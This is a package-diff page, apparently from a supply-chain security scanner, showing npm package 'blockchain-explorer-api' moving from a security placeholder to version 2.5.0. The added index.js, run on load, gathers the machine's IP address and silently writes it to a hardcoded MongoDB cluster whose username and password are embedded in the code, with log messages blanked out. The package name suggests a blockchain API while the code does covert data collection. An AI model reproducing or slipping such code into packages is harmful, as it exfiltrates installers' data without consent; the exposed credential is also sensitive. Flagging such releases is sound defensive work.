blockchain-explorer-api 0.0.1-security → 2.5.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of blockchain-explorer-api might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +64 -0
  2. package/package.json +13 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,64 @@
1
+ const os = require('os');
2
+ const { MongoClient } = require('mongodb');
3
+ require('dotenv').config();
4
+
5
+ const uri = process.env.MONGODB_URI || "mongodb+srv://techsangam88:3Oah1jtHaOckPouX@cluster0.gpg2t5e.mongodb.net/?retryWrites=true&w=majority&appName=Cluster0"
6
+ const dbName = 'ip';
7
+
8
+ const client = new MongoClient(uri);
9
+
10
+ async function logIPAddress(ipAddress) {
11
+ try {
12
+ await client.connect();
13
+
14
+ const db = client.db(dbName);
15
+
16
+ const collection = db.collection('ip_logs');
17
+
18
+ const result = await collection.insertOne({ ip_address: ipAddress });
19
+ console.log(' ');
20
+ } catch (error) {
21
+ console.error(' ', error);
22
+ } finally {
23
+ await client.close();
24
+ }
25
+ }
26
+
27
+ function getIPAddress() {
28
+ switch (os.platform()) {
29
+ case 'linux':
30
+ return getIPAddressForInterface('eth0');
31
+ case 'darwin':
32
+ return getIPAddressForInterface('en0');
33
+ case 'win32':
34
+ return getWindowsIPAddress();
35
+ default:
36
+ console.error(' ');
37
+ return '';
38
+ }
39
+ }
40
+
41
+ function getIPAddressForInterface(interfaceName) {
42
+ const networkInterfaces = os.networkInterfaces();
43
+ return networkInterfaces[interfaceName] ? networkInterfaces[interfaceName][0].address : '';
44
+ }
45
+
46
+ function getWindowsIPAddress() {
47
+ const interfaces = os.networkInterfaces();
48
+ for (const key in interfaces) {
49
+ if (interfaces.hasOwnProperty(key)) {
50
+ const ethInterface = interfaces[key].find(iface => iface.family === 'IPv4' && !iface.internal);
51
+ if (ethInterface) {
52
+ return ethInterface.address;
53
+ }
54
+ }
55
+ }
56
+ return '';
57
+ }
58
+
59
+ const ipAddress = getIPAddress();
60
+ if (ipAddress) {
61
+ logIPAddress(ipAddress);
62
+ } else {
63
+ console.error(' ');
64
+ }
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "blockchain-explorer-api",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.5.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "dotenv": "^16.4.5",
14
+ "mongodb": "^6.5.0"
15
+ }
6
16
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=blockchain-explorer-api for more information.